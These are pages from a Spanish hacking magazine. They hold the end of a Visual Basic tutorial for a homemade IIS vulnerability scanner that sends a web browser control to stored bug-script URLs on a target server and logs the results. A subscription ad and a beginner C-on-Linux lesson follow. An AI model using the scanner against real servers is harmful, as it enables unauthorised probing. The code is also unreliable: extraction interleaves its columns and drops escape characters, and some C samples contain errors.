Y con esto, tenemos nuestro cutre, pero útil, scanner de                            Wend
vulnerabilidades para IIS. Ahora, permitidme unas palabras.                         RsLeer.Close
Yo no puedo estar orgulloso, ni por asomo, de este proyecto.                      End Sub
Con esto quiero decir que ni mucho menos se trata de un


 PC PASO A PASO Nº 12                                                                                                                        Página 51
VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II)




                                                                                            Sub Leer()
Private Sub CmdSalir_Click()                                                                  Lista.Clear
  Unload Me                                                                                   RsLeer.MoveFirst
End Sub                                                                                       While Not RsLeer.EOF
                                                                                                Lista.AddItem RsLeer("script")
Private Sub Form_Load()                                                                         RsLeer.MoveNext
  Set Conn = New ADODB.Connection                                                             Wend
  Set Rs = New ADODB.Recordset                                                              End Sub
  Conn.ConnectionString = "DSN=bugs;DBQ=" & App.Path & "/bugs.mdb;DriverId=25;FIL=MS
                                     Access;MaxBufferSize=2048;PageTimeout=5;UID=admin;"
                                                                                            Private Sub Form_Unload(Cancel As Integer)
  Rs.Open "informes", Conn.ConnectionString, adOpenDynamic, adLockOptimistic
                                                                                              RsLeer.Close
End Sub                                                                                       RsGrabar.Close
                                                                                            End Sub
Private Sub Scripts_Click()
  FrmScripts.Show                                                                           WB
End Sub
                                                                                            Option Explicit
FrmScripts                                                                                  Dim RsGrabar As ADODB.Recordset
Option Explicit                                                                             Dim nCont As Integer
Dim RsGrabar As ADODB.Recordset
Dim RsLeer As ADODB.Recordset                                                               Private Sub CmdAnterior_Click()
                                                                                              On Error Resume Next
Private Sub CmdAnadir_Click()                                                                 web.GoBack
  If Not TxtScript.Text = "" Then                                                           End Sub
     RsGrabar.Find "script='" & TxtScript.Text & "'"
     If RsGrabar.EOF Then                                                                   Private Sub CmdGuardar_Click()
        RsGrabar.AddNew                                                                       Set RsGrabar = New ADODB.Recordset
        RsGrabar("script") = TxtScript.Text                                                   RsGrabar.Open "informes", Conn.ConnectionString, adOpenDynamic, adLockOptimistic
        RsGrabar.Update                                                                       RsGrabar.AddNew
        MsgBox "Script añadido!", vbInformation, "Aviso"                                      RsGrabar("URL") = FrmPrincipal.TxtURL
       Set RsLeer = RsGrabar                                                                  RsGrabar("script") = web.Document.URL
       Leer                                                                                   RsGrabar.Update
     Else                                                                                     RsGrabar.Close
        MsgBox "El script ya fue introducido en la base de datos", vbExclamation, "Aviso"
                                                                                              MsgBox "Informe guardado"
    End If                                                                                  End Sub
  Else
     MsgBox "El campo Script no puede ser blanco", vbExclamation, "Aviso"                   Private Sub CmdSalir_Click()
  End If                                                                                      Unload Me
End Sub                                                                                     End Sub

Private Sub CmdSalir_Click()                                                                Private Sub CmdSiguiente_Click()
  Unload Me                                                                                   On Error Resume Next
End Sub                                                                                       web.GoForward
                                                                                            End Sub
Private Sub Form_Load()
  Set RsGrabar = New ADODB.Recordset                                                        Private Sub web_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
  Set RsLeer = New ADODB.Recordset                                                            ReDim Preserve Scripts(nCont)
  RsLeer.Open "IIS", Conn.ConnectionString, adOpenStatic, adLockReadOnly                      Scripts(nCont) = web.Document.documentelement.innerhtml
  RsGrabar.Open "IIS", Conn.ConnectionString, adOpenDynamic, adLockOptimistic                 Completado = True
  Leer                                                                                        nCont = nCont + 1
End Sub                                                                                     End Sub




 Página 52                                                                                                                                  PC PASO A PASO Nº 12
VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II)




               FrmInformes                                                        Private Sub Lista_Click()
                                                                                    web.Navigate Lista.List(Lista.ListIndex)
               Option Explicit                                                    End Sub
               Dim RsLeer As ADODB.Recordset
               Private Sub Form_Load()                                            Modulo
                 Lista.Clear
                 Set RsLeer = New ADODB.Recordset                                 Option Explicit
                 RsLeer.Open "informes", Conn.ConnectionString, adOpenStatic,     Global Conn As ADODB.Connection
               adLockOptimistic                                                   Global Rs As ADODB.Recordset
                 While Not RsLeer.EOF                                             Global Completado As Boolean
                   Lista.AddItem RsLeer("URL")                                    Global Scripts() As String
                   Lista.AddItem RsLeer("script")
                   RsLeer.MoveNext
                 Wend
               End Sub




                         SUSCRIBETE A
                         PC PASO A PASO
                                                                                   45 EUROS (10% DE DESCUENTO)
   SUSCRIPCIÓN POR:                                                                +
   1 AÑO                                                            =              SORTEO DE UNA CONSOLA XBOX
                                                                                   +
   11 NUMEROS                                                                      SORTEO 2 JUEGOS PC (A ELEGIR)

Contra                         R e e m b o l s o Giro Post al

Solo tienes que enviarnos un mail a preferente@hackxcrack.com                   Envíanos un GIRO POSTAL por valor de 45 EUROS a:
indicando:                                                                      CALLE PERE MARTELL20, 2º 1ª.
- Nombre                                                                        CP 43001 TARRAGONA
- Apellidos                                                                     ESPAÑA
- Dirección Completa                                                            IMPORTANTE: En el TEXTO DEL GIRO escribe un mail de contacto
- Población                                                                     o un número de Teléfono.
- Provincia
- Cógigo Postal                                                                 Y enviarnos un mail a preferente@hackxcrack.com indicando:
- Mail de Contacto y/o Teléfono Contacto                                        - Nombre
Es imprescindible que nos facilites un mail o teléfono de contacto.             - Apellidos
- Tipo de Subscripción: CONTRAREEMBOLSO                                         - Dirección Completa
- Número de Revista:                                                            - Población
Este será el número a partir del cual quieres subscribirte. Si deseas           - Provincia
(por ejemplo) subscribirte a partir del número 5 (incluido), debes poner        - Cógigo Postal
un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos)                   - Mail de Contacto y/o Teléfono Contacto
                                                                                Es imprescindible que nos facilites un mail o teléfono de contacto.
APRECIACIONES:                                                                  - Tipo de Subscripción: GIRO POSTAL
* Junto con el primer número recibirás el abono de 45 euros, precio             - Número de Revista:
de la subscripción por 11 números (un año) y una carta donde se te              Este será el número a partir del cual quieres subscribirte. Si deseas
indicará tu número de Cliente Preferente y justificante/factura de la           (por ejemplo) subscribirte a partir del número 5 (incluido), debes poner
subscripción.                                                                   un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos)
* Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
indicado; rellenando el formulario de nuestra WEB                               APRECIACIONES:
(www.hackxcrack.com) o enviándonos una carta a la siguiente dirección:          * Junto con el primer número recibirás una carta donde se te indicará
CALLE PERE MARTELL Nº20, 2º-1ª                                                  tu número de Cliente Preferente y justificante/factura de la subscripción.
CP 43001 TARRAGONA                                                              * Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
ESPAÑA                                                                          indicado; o enviándonos una carta a la siguiente dirección:
* Cualquier consulta referente a las subscripciones puedes enviarla             CALLE PERE MARTELL Nº20, 2º-1ª
por mail a preferente@hackxcrack.com                                            CP 43001 TARRAGONA
                                                                                ESPAÑA
                                                                                * Cualquier consulta referente a las subscripciones puedes enviarla
                                                                                por mail a preferente@hackxcrack.com




PC PASO A PASO Nº 12                                                                                                                        Página 53
ProgramaciOn en GNU/LiNUX
              Desarrollo de aplicaciones en
               entornos UNiX e iniciaciOn al
                      lenguaje C (I)
                 el_chaman. Luis U. RodrIguez Paniagua


       GNU/LINUX, Como cada mes, tenemos una nueva entrega de ese “para muchos desconocido” Sistema
       Operativo. Vamos a adentrarnos en el mundo del Lenguaje C y de paso intentaremos explicar qué es la
       memoria RAM y su funcionamiento en relación a la programación.


            1.    Programación               Modular           o comportamientos que los programadores de
                                                               C (u otros lenguajes) en UNiX procuran seguir:

            En el anterior artículo presentamos lo que era     A) Dedicar un directorio o subárbol de directorios
            la programación modular. Hoy insistiremos en       para almacenar los archivos necesiarios para
            ella debido a que va a ser una de las razones      generar la aplicación.
            por las que los entornos de programación en
            UNiX son como son y se comportan como se           A la hora de nombrar los distintos ficheros y
            comportan.                                         directorios que compondrán el mencionado
                                                               subárbol, conviene utilizar nombres significativos
                                                               como:
            Algunas de las características principales del
            diseño modular no vistas en el anterior artículo   src: Directorio donde residen los ficheros de
            son:                                               código fuente (.c)

            * Los programas grandes se pueden subdividir       include: Directorio donde residen los archivos
            en subprogramas de extensión menor: los            de cabecera (.h)
            módulos.
                                                               lib: Directorio donde residen las bibliotecas (.a)
            *    Cada uno de los módulos podrá ser
            compilado por separado, pudiéndose más             bin:Directorio donde residen los programas
            adelante enlazar (juntar) pasando a formar el      ejecutables que se obtienen tras la compilación
            ejecutable final.                                  y el enlace.

            * Esta división en módulos nos proporcionará       doc: Directorio donde residen los archivos de
            varias ventajas a la hora de localizar errores     documentación externa de la aplicación (manual
            en el código o entender lo que éste hace.          de usuarios, README, INSTALL, etc....)

            * Dividir un gran programa en módulos,             Como se ha dicho, esto es una regla no escrita
            favorecerá también el que un programa pueda        y nosotros podremos ajustar esta estructura a
            ser desarrollado por un equipo de                  nuestro gusto, lenguaje de programación,
            programadores en vez de por una única              etc... Además se ha utilizado una nomenclatura
            persona.                                           anglosajona para que sea fácilmente de
                                                               identificar esta estructura en los distintos
            Estas ventajas a la hora de emplear la             programas que se distribuyen en código fuente
            modularidad en un proyecto de programación,        en Internet. Nada nos impedirá utilizar para
            se traducen en una serie de normas no escritas     nuestros programas términos como:



Página 54                                                                                           PC PASO A PASO Nº 12
Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C




                       -   fuentes                         B2) Las partes del programa destinadas a la definición de
                       -   cabeceras                       los datos deben formar parte de un archivo de cabecera que
                       -   librerias                       se incluirá en los módulos que necesiten conocer esos datos.
                       -   ejecutables
                       -   documentacion                   Esta manera de hacer las cosas evitará la presencia de
                                                           errores muy comunes como:
          O cualquier otra configuración que nos pueda
          resultar útil                                    • Definiciones redundantes (que se repiten) de una misma
                                                           estructura de datos.
                                                           Por ejemplo: Imaginemos que en dos módulos distintos pero
          B) Procuraremos dividir el programa en           que se van a enlazar para generar el mismo ejecutable,
          módulos de manera que estos agrupen              aparece en cada uno de ellos la definición de una variable
          funciones o código quetengan alguna relación     a la que hemos llamado MAXIMO. El compilador, en la fase
          entre si. Esto requirirá que en la fase de       se enlace nos daría un error diciendo que la variable ha sido
          diseño de la aplicación se precise un            definida múltiples veces.
          gran esfuerso por nuestra parte, dado
          que cuanto mejor desarrollemos el diseño,        • Inconsistencias debidas a la modificación de los datos en
           más fácilresultará la tarea de generar el       uno de los ficheros donde aparecen y no en el resto.
          proyecto y realizar importantes modificaciones
          en él con el menorcoste de tiempo y recursos     Los elementos que deben aparecer un fichero de cabecera
          posible.                                         serán:

          A la hora de acometer esta fase de división en   • Definiciones de aquellos tipos de datos que son compartidos
          módulos las normas no escritas a tener en        por dos módulos o más.
          cuenta serán:
                                                           • Definición de los prototipos de funciones que son
          B1) Aislar las partes del programa que no        compartidas por dos módulos o más.
          sean portables de un ordenador a otro en
          módulos independientes del resto del programa.   • Bajo ningún concepto debe de aparecer en los ficheros de
                                                           cabecera la defición de los datos, es decir, la reserva de
          La no portabilidad puede deberse a:              memoria para variables de un tipo determinado.

          • El programa accede a recursos hardware
          mediante procedimientos no estándar. Por
          ejemplo, acceso directo a tarjetas de vídeo,
                                                           2. Fases de la compilación
          dispositivos I/O, etc....
                                                           El programa cc( C compiler ) es la orden de compilación
          • El programa accede a recursos software         estándar para los programas escritos en C. Esto en GNU/LiNUX
          mediante procedimientos no estandar. Por         cambia, dado que dicho programa será gcc ( GNU C compiler
          ejemplo, una aplicación gráfica que queremos     ) aunque es algo que en principio no nos importará debido
          que funcione tanto en Windows98 (tm) como        a que los sistemas GNU/LiNUX suelen enlazar gcc con cc.
          en GNU/LiNUX.

          Mediante la compilación condicional podremos
          solucionar gran parte de los problemas de         luis@leonov:~$ ll /usr/bin/cc
          portabilidad del código fuente. Para ello
          deberemos de conocer cuáles van a ser los         1 root   root    20 2002-11-16 02:08 /usr/bin/cc -> /etc/alternatives/cc
          sistemas donde se va a compilar nuestra
                                                            luis@leonov:~$ ll /etc/alternatives/cc
          aplicación y utilizas las directrices del
          preprocesador C para incluir unas secciones u     1 root   root     12 2003-05-16 12:29 /etc/alternatives/cc -> /usr/bin/gcc
          otras (sobre esto haremos énfasis en futuros
          artículos).                                       luis@leonov:~$



PC PASO A PASO Nº 12                                                                                                  Página 55
Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C




            En realidad cc no es un compilador, sino una     2.1 Preprocesamiento
            interfaz entre el usuario y los programas que    Lo realiza el programa cpp y como resultado
            intervienen en el proceso de generación de un    genera un nuevo fichero que contiene el código
            programa ejecutable.                             C más las macros y sentencias del preprocesador
                                                             necesarias para que nuestro sistema compile
            La llamada a los distintos programas que son     adecuadamente nuestro código.
            necesarios para generar un ejecutable a partir
            del código fuente son:                           luis@nostromo ~ $ cpp programa.c programa.i

                                                             luis@nostromo ~ $ cat programa.i | more


  !            Para ver...                                   2.2     Compilación y optimización
                                                             Lo realiza el programa comp en los sistemas
  Para ver los cambios que realiza la siguiente              UNiX y gcc –S en los sistemas que utilizan
  secuencia de llamadas a los programas, sugiero             el compilador GNU (léase GNU/LiNUX entre
  que se emplee un sencillo programa "hola                   otros). El resultado de la invocación de este
  mundo" para ir viendo los resultados                       programa es la generación del código
  intermedios. Las llamadas necesarias se
                                                             ensamblador del programa que queremos
  pondrán como notas en cada uno de los
  apartados.                                                 realizar.
  El código del programa es el siguiente:
                                                             luis@nostromo ~ $ cpp -S programa.i -o programa.s
  #include <stdio.h>
                                                             luis@nostromo ~ $ cat programa.s |more
  main()
  {
   printf("n Hola Edmundo n");                             2.3    Generación del código objeto
  }
                                                             Lo realiza el programa as (ensamblador) y como
                                                             resultado genera un archivo objeto llamado
                                                             programa.o

                                                             luis@nostromo ~ $ as programa.s -o programa.o
  !            Nota de Pc Paso a Paso
                                                             2.4 Enlace
  Nota de PC PASO A PASO: Para quien no tenga ni
  idea de qué es eso de escribir un programa ni sepa         Los realiza el programa ld a partir de ficheros
  dónde debe escribir ese código... pues está claro que      de código objeto (.o) y bibliotecas (.a). Como
  no ha seguido el curso de LINUX desde el principio.        resultado se genera el programa ejecutable.
  Escribir un programa es tan sencillo como abrir
  crear un fichero de texto, copiar las lineas anteriores    Dado que la llamada a ld requiere conocer a
  y guardarlo con un nombre, por ejemplo                     priori cuantas y cuales son las bibliotecas del
  saludo.c                                                   sistema, se utiliza normalmente cc o gcc para
                                                             realizar el enlazado, dado que esta llamada ya
  Hay cientos de editores de texto para LINUX,               incluye las bibliotecas necesarias.
  hazlo con el que quieras :)
                                                             luis@nostromo ~ $ cc programa.o -o programa
  Ahora ya está, deja ese archivo guardado y lee
  lo que viene a continuación. No te desesperes!!!           luis@nostromo ~ $ ./programa
  Todo lo que verás a continuación tiene un final
  sencillo (feliz), te lo demostraremos en la
                                                                    Hola Edmundo
  siguiente NOTA :)


Página 56                                                                                         PC PASO A PASO Nº 12
Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C




            Luego las fases de compilación de un programa
            quedan reflejadas en el siguiente esquema:                                             En este momento el programa es
                                                                                                   ejecutado y producira el efecto
                                                                                                   deseado, es decir, aparecerá en
                                                                                                   nuestra pantalla lo siguiente:

                                                                                                          Hola Edmundo

                                                                                                   Ya hemos escrito el código de
                                                                                                   un programa, lo hemos

            Sin embargo, nosotros para compilar dicho
            programa sólo utilizaremos la siguiente línea:         Por cierto, si no pudieses ejecutarlo seguramente será
                                                                   porque no tiene permiso de ejecución. ¿Cómo? ¿Qué no
            luis@nostromo ~ $ cc programa.c -o programa            sabes qué es eso de los permisos de ejecución? Pues
                                                                   pregunta en el foro de hack x crack
            luis@nostromo ~ $ ./programa
                                                                   (www.hackxcrack.com), porque esto ya ha sido explicado
                 Hola Edmundo                                      antes en el curso de Linux y si seguimos repasando los
                                                                   lectores veteranos nos comerán a críticas :) En el foro
            O bien:                                                hay muchos nuevos estudiantes de LINUX, personas que,
                                                                   como tu, hace muy poco que se han enfrentado a este
            luis@nostromo ~ $ gcc programa.c -o programa           sistema operativo. Pregunta y te ayudarán SEGURO!!!

            luis@nostromo ~ $ ./programa
                                                               Sin embargo, cuando pretendemos compilar
                 Hola Edmundo                                  programas multimodulares, el esquema arriba
                                                               visto se complica un poco tal y como podemos
                                                               ver en la imagen 1 (en la siguiente página).
 !             Nota de Pc Paso a Paso                          Aún así bastaría una llamada al compilador tal
                                                               que:

                                                               luisb@nostromo ~ $ gcc f1.c f2.c f3.i f4.s f5.o f6.o -lm -o
 NOTA de PC PASO A PASO: Continuando con la nota
 anterior y solo para que los nuevos lectores no se pierdan,   Para compilar dicho programa multimodular.
 vamos a compilar nuestro saludo.c y vamos a ejecutarlo.       Obviamente este es un proceso un tanto
                                                               engorroso, y se suele emplear para ello la
 Antes de que nuestro saludo.c se transforme en un programa    automatización de este trabajo mediante el
 que podamos ejecutar debemos compilarlo. Para compilarlo      empleo de herramientas como make. Por ahora
 escribimos lo siguiente:                                      vamos a dejar esta parte aquí y pasaremos a
                                                               la siguiente parte del artículo: El lenguaje C.
        gcc saludo.c –o saludo (y pulsamos enter, claro)       En el próximo número analizaremos en mayor
                                                               profundidad el preprocesador y la gestión de
 Lo que acaba de pasar es que, el compilador, ha cogido
                                                               librerías. Además comenzaremos a ver cómo
 nuestro archivo de texto saludo.c y ha creado otro llamado
                                                               usar el make para gestionar la compilación de
 saludo. Este nuevo archivo llamado saludo es ya un
                                                               proyectos grandes.
 programa ejecutable. Si, espero que nadie se sienta mal
 por explicar algo tan simple y explicarlo de una forma tan    Pero antes de hacer esto, debemos irnos
 poco exacta, pero la intención de esta NOTA y la anterior     familiarizando con el lenguaje C. Dado que hoy
 es que todo el mundo lo entienda :)                           se ha hablado de programación modular,
                                                               veremos una presentación de las variables y
 Ahora ya podemos ejecutar nuestro programa, pues muy          de los punteros e intentaremos aprender cómo
 bien, simplemente escribimos                                  realizar un sencillo programa modular.

       ./saludo (y pulsamos enter)


PC PASO A PASO Nº 12                                                                                                         Página 57
Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C




     IMAGEN 1



                                                              /*                                                   (1)
            3. El lenguaje C                                  * PROGRAMA: hola.c
                                                              * DESCRIPCIÓN:
            En artículos anteriores hemos visto ya cuales
            son las correspondientes estructuras de control   * Ejemplo de un programa en C que imprime "Hola Edmundo"
            del lenguaje C. Hay alguna más pero por de        *
            pronto las ignoraremos (caso de las sentencias    */
               switch ) dado que a juicio del autor del
                                                                               #include <stdio.h>                  (2)
            artículo no aportan nada nuevo al conocimiento
            de la programación estructurada. Sin embargo,         main()                                          (3)
            el autor reconoce que son instrucciones que             {
            aportan una comodidad indiscutible a la                     printf("n Hola Edmundo n");
            programación cuando esta se domina. No es
                                                                    }
            este el caso, puesto que aún estamos
            aprendiendo.
                                                              (1)             Ejemplo de comentarios
            También existen una serie de sentencias como
             break o goto que no solo serán ignoradas,        (2)             Carga de cabeceras
            sino perseguidas y anatemizadas (“censuradas”)    (3)             Programa principal
            por el autor, dado que éste considera que
            simplemente "se cargan" un buen programa
            estructurado.                                     Este pequeño programa que tan sólo imprime
            Dicho esto, vamos a presentar nuestro primer      "Hola Edmundo" nos servirá para conocer tres
            programa en C.                                    características importantes de un programa en
                                                              C. Por un lado tenemos los comentarios. Los
                                                              comentarios son líneas de texto encerradas
            3.1. Estructura de un programa C                  entre /*.....*/ que el compilador ignorará pero
                                                              que a nosotros nos resultarán muy útiles a la
            Este es uno de los programas en C más
                                                              hora de poner comentarios dentro del código.
            difundidos a través del orbe:

Página 58                                                                                               PC PASO A PASO Nº 12
Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C




            Por otra parte nos encontramos con una              siguiente:
            directiva del preprocesador, #include. Esta
            directiva de preprocesador será una de las          /***** Comienzo del programa */
            órdenes que interpretará éste para generar el       /**** Instrucciones de preprocesador */
            archivo .i como vimos en el apartado anterior.      /* --- Carga de archivos de cabecera */
            En concreto #include se encarga de cargar los                  #include <stdio.h>
            archivos de cabecera necesarios para ejecutar                  #include <math.h>
            el programa. Estos archivos de cabecera                        #include "mi_math.h"
            contienen definiciones de tipos derivados y las     /* --- Fin carga de archivos de cabecera */
            funciones prototipo. En el ejemplo mostrado,
            #include <stdio.h> carga las definiciones y         /* --- Definición de constantes */
            funciones prototipo relativas a operaciones de                 #define PI 3.141592
            entrada y salida estándar.                                     #define E 2.718282
                                                                /* --- Fin definición de constantes */

                                                                /* --- Definición de tipos */
  !            Si no has...                                                 #typedef struct POLAR{
                                                                                 float radio;
  Si no has entendido eso del #include <stdio.h> no te                           float rho;
  preocupes demasiado, con que sepas que es imprescindible                 }POLAR_TYPE;
                                                                 /* --- Fin definición de tipos */
  ponerlo ya está bien… poco a poco, a medida que trates
                                                                /**** Fin Instrucciones del preprocesador
  con este tipo de “cosas”, comprenderás :)
                                                                /**** Declaración de variables y funciones externas */
                                                                              extern float rho;
            Finalmente comienza el programa principal en                      extern void imprime_error(int code);
            la línea donde pone main(). Cabe señalar que        /**** Fin de la declaración de variables y funciones externas */

            en cada programa sólo puede existir una función
                                                                /**** Declaración de variables globales y funciones prototipo */
            con este nombre, dado que indica el punto de
            entrada del programa. También podemos                             float hipo;
            observar en las líneas siguientes una                             float hipotenusa(float C, float c);
                                                                /**** Fin de la declaración de variables globales y funciones prototipo */
            característica muy importante del lenguaje C.
            Este lenguaje utiliza como caracteres
                                                                /**** Programa principal */
            separadores de bloques de ejecución los
                                                                         int main(int args, char *argv[])
            símbolos {....}. Así las líneas:
                                                                         {
                 main()                                                     /* Declaración de variables */
                                                                            float pi=PI;
                 {                                                          float calculo;
                   ...                                                      hipo = hipotenusa(pi, E);
                 }                                                          calculo=hipo;
                                                                            printf("n %2.5f n", calculo);
            nos indicarán cómo se llama la función o                        return 0;
            prototipo de la función (main()), dónde comienza             }
            la función ( { ) y dónde termina ( } ).             /**** Fin programa principal */
            Dentro ya de esta función, encontramos distintas
            instrucciones, separadas siempre por ; (mirar       /**** Definición de las funciones */
            artículo anterior). En este caso tan sólo tenemos            float hipotenusa(float C, float c)
            una única instrucción que se encargará de                    {
            mostrar por pantalla el texto que le pasemos                       return sqrt(C*C + c*c);
            como parámetro.                                              }
                                                                /**** Fin definición de funciones */
            Una estructura más general y más de acuerdo         /***** Fin del programa */
            con las posibilidades reales del C sería la


PC PASO A PASO Nº 12                                                                                                                         Página 59
Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C




            Obviamente en este
            código aparecen muchas
            cosas       que      aún
            desconocemos, pero que
            nos dan una idea de cuan
            complejo puede resultar
            un programa en C en
            cuanto a su estructura.
            Sirva de consuelo que rara
            vez un programa adquiere
            tanta complejidad debido,
            precisamente, al empleo
            de la modularidad.
            Normalmente,            si
            diseñamos            una
            modularidad correcta para
            nuestro código, podremos
            situar      todas     las
            definiciones           de
            constantes, variables,
            tipos, etc, en un archivo
            de cabecera teniendo de
            esta manera las cosas                                  Como podemos observar, la memoria se puede
            más ordenadas.                                         ver como un conjunto de casillas donde en cada
                                                                   una de las cuales tan sólo podemos almacenar
            Poco a poco vamos a ir desentrañando el
                                                                   hasta ocho bits. Si necesitamos almacenar datos
            significado de los términos que aparecen. Por
                                                                   más grandes que los que pueden ser
            ahora nos basta con mirar el código e interpretar
                                                                   representados por ocho bits necesitaremos
            las partes clave de un programa escrito en C.
                                                                   ocupar más de una casilla.
            3.2. Tipos de datos                                    Cada vez que reservamos una casilla o un
                                                                   determinado grupo de casillas, podemos
            En C se consideran dos grandes tipos de datos:         referirnos a estas casillas mediante un nombre
            los que suministra el lenguaje o tipos                 descriptivo en vez de recordar las posiciones
            fundamentales y los que define el programador          de memoria que corresponden a los datos que
            o tipos derivados.                                     hemos guardado. Es entonces cuando hablamos
                                                                   de una variable. Luego inicialmente diremos
            En un programa habitualmente se necesita
                                                                   que una variable representa una posición o
            manejar determinados datos. Estos datos se             posiciones de memoria donde guardamos datos
            colocan en la memoria del ordenador. Ahora             a lo largo de la ejecución de un programa
            bien; no todos los datos, serán de la misma
                                                                   Es aquí donde aparece asociado el concepto
            naturaleza, por lo que serán almacenados,
                                                                   de tipo al de variable: Cuando hablamos de
            según conveniencia, de distinta manera. Por
                                                                   cuantas casillas ocupa una determinada variable,
            poner un sencillo ejemplo imaginemos la                o dicho de otro modo: que tipo de variable es.
            siguiente situación: Queremos guardar en               Informalmente podemos decir que un tipo será
            memoria el dato correspondiente al carácter            el número de casillas necesarias para representar
            'a' (es decir, la letra a) y el dato correspondiente   un determinado rango de valores dentro de la
            al número 20000 (de decir, el número 2000).            memoria de un ordenador.
            En un ordenador la memoria se suele distribuir         Obviamente, tendremos que ser muy cuidadosos
            de la siguiente manera:                                a la hora de elegir los tipos para nuestras


Página 60                                                                                               PC PASO A PASO Nº 12
Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C




            variables, dado que si escogemos un menor
            número de casillas de lo necesario, no podremos         El tipopequeño sería para guardar cosas pequeñas (por
            representar correctamente los datos, y si               ejemplo una letra, en este caso la letra “a”) o un número
            escogemos más casillas de las necesarias,               pequeño (por ejemplo el “2”)
            estaremos desperdiciando memoria.
                                                                    El tipomediano podría guardar cosas medianas, por ejemplo
            Cuando comenzamos a escribir un programa
                                                                    el número “300”
            en C, una de las primeras tareas que
            realizaremos será la de declarar variables. O           El tipogrande para cosas mas extensas, por ejemplo una
            dicho de otro modo: Reservaremos                        clave de acceso a tu cuenta de correos de esas largas
            determinadas posiciones de memoria de un                (“estaesmicuentaynadiepuedeadivinarla”)
            determinado tamaño y las referenciaremos
            mediante nombres que sean significativos y              El tipoextrabestia para guardar el valor de, ves a saber, la
            fácilmente recordables. A partir de ese momento         Biblia en una sola frase :)
            y a lo largo de la ejecución del programa,
            podremos ir almacenando distintos valores en            Ahora veremos todo esto, lo importante es que entiendas
            dichas posiciones de memoria con tan solo               el concepto. Cuando definimos un tipo de variable, la
            asignar o consultar datos a las variables.              memoria reservará un espacio que será más o menos grande
                                                                    según el tipo de variable que nosotros le digamos. Si
            Veamos un ejemplo de lo dicho arriba y
                                                                    queremos guardar en una variable, por ejemplo, palabras
            pasemos a continuación a dar una explicación
                                                                    de tres o cuatro letras (“casa”, “pico”, “rico”) pues le
            más formal de los tipos y las variables.
                                                                    asignamos el tipomediano. Si le asignamos el tipopequeño
            #include <stdio.h>
                                                                    no cabría y si le asignamos el tipoextrabestia estaríamos
            main()
                                                                    “merendandonos” estúpidamente toda la memoria ram de
            {
                                                                    nuestro ordenador :(
              char unbyte;
              int unentero;                                         Vamos a volver a escribir el código según nuestra particular
                                                                    forma de ver los tipos de variables:
                unbyte='a';
                unentero=20000;                                     #include <stdio.h>

                 printf("n %c %in",unbyte, unentero);             main()

            }                                                       {

                                                                        tipopequeño unasolaletra;
  !              Nota de Pc Paso a Paso
                                                                        tipomediano unapalabradecuatroletras;

  Nota de PC PASO A PASO: Si eres nuevo en esto, por                    unasolaletra='f';
  favor, cuando veas un código como el anterior no te
  conformes con leerlo ¿vale? Crea un fichero con cualquier             unapalabradecuatroletras=”casa”;
  editor, guardalo, compilalo y ejecutalo. Solo así podras ir
  cogiendo practica!!!
                                                                        printf("n %c %in",unbyte, unentero);
  Y antes de cerrar esta nota, vamos a iluminar a los que no
  han entendido nada de todo eso de los tipos de variables.         }
  Acabamos de ver dos tipos de variables, un buen dia a
  alguien le dio por llamarlas char e int (y así se les han         Vamos a analizarlo:
  seguido llamando hasta ahora). Pero esto no es tan
  complicado, en lugar de eso podría haberlas llamado               - tipopequeño unasolaletra;
  tipopequeño, tipomediano, tipogrande y tipoextrabestia.
                                                                I   Acabamos de definir la variable “unasolaletra” y hemos
                                                                    dicho que es de tipo pequeño. El compilador, cuando haga



PC PASO A PASO Nº 12                                                                                                  Página 61
Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C




                                                                enteros emplearemos las palabras reservadas
 su trabajo reservará una pequeña zona de memoria para la       char, int, long y enum.
 variable “unasolaletra”
                                                                char
 - tipomediano unapalabradecuatroletras;
                                                                Define un número entero de 8 bits. Su rango
 Acabamos de definir la variable “unapalabradecuatroletras”     de representación es de [-128, 127] . También
 y hemos dicho que es de tipo mediano. El compilador,           se emplea para representar el conjunto de
 cuando haga su trabajo reservará una zona de memoria un        caracteres ASCII.
 poco más grande que la anteriorde para la variable
 “unasolaletra”                                                 int

 - unasolaletra='f';                                            Define un número entero de 16 o 32 bits
                                                                (dependiendo del procesador). Su tamaño suele
 Acabamos de darle el valor “f” a la variable “unasolaletra”.   coincidir con el del tamaño del bus de datos
 A partir de ahora, “unasolaletra” = f. Si le diesemos un       del procesador.
 valor grande, por ejemplo “estaesmicasa” estaríamos
 provocando un error en el programa, puesto que                 long
 “estaesmicasa” no cabría en el espacio reservado, recuerda
                                                                Define un número entero de 32 ó 64 bits.
 que era de tipo pequeño.
                                                                short
 - unapalabradecuatroletras=”casa”;
                                                                Define un número entero de tamaño menor o
 Acabamos de darle el valor “casa” a la variable                igual que int
 “unapalabradecuatroletras”. A partir de ahora
 “unapalabradecuatroletras” = “casa”.                           Se debe cumplir que tamaño(short) <=
                                                                tamaño(int) <= tamaño(long)
 ¿Podríamos darle a la variable “unapalabradecuatroletras”
 el valor, por ejemplo, “yo”. Por supuesto, cabe
 perfectamente, aunque desperdiciamos un poco de memoria.
                                                                Estos tipos pueden ir precedidos del modificador
 - printf("n %c %in",unbyte, unentero);                       unsigned para indicar que el tipo sólo representa
 Estamos diciendole al programa que imprima en pantalla         números positivos o el cero.
 las variables “unasolaletra” y “unapalabradecuatroletras”.     Ejemplos:
 Cuando ejecutemos el programa veremos en nuestro monitor
 el valor de las dos variables: “f” y “casa”.                         int hora;

 Esperamos que se entienda porque no sabemos como                        char caracter;
 explicarlo mejor :)
                                                                         unsigned short mes;


                                                                enum
             3.2.1. Tipos fundamentales
                                                                Se utiliza para definir un subconjunto dentro
             Los tipos fundamentales se clasifican en enteros
                                                                del conjunto de los números enteros. A este
             y reales. Los primeros se utilizan para
